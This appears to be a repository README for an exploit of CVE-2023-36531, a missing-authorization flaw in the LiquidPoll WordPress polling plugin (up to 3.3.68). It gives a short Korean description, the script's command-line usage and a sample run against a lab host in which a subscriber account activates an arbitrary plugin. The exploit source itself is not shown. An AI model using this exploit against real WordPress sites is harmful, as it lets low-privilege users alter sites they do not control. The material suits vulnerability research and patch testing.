randomrobbiebf/cve-2023-36531LiquidPoll – 크리에이터와 브랜드를 위한 고급 투표 플러그인 <= 3.3.68 - activate_addon을 통한 인증 누락
LiquidPoll – 제작자와 브랜드를 위한 고급 설문조사 <= 3.3.68 - activate_addon을 통한 인증 누락
구독자 수준의 사용자가 필요하며 플러그인이 비활성화되어 있어야 합니다. 이는 제공한 플러그인을 활성화합니다.
usage: CVE-2023-36531.py [-h] -w URL -u USERNAME -p PASSWORD -a ADDON
WordPress CVE-2023-36531 Exploit
options:
-h, --help show this help message and exit
-w URL, --url URL URL of the WordPress site
-u USERNAME, --username USERNAME
Username of your wordpress user
-p PASSWORD, --password PASSWORD
Password of your wordpress password
-a ADDON, --addon ADDON
Plugin Slug
python3 CVE-2023-36531.py -w http://wordpress.lan -u user -p useruser1 -a wp-polls
Logged in successfully.
POST request sent successfully.
Plugin Activated.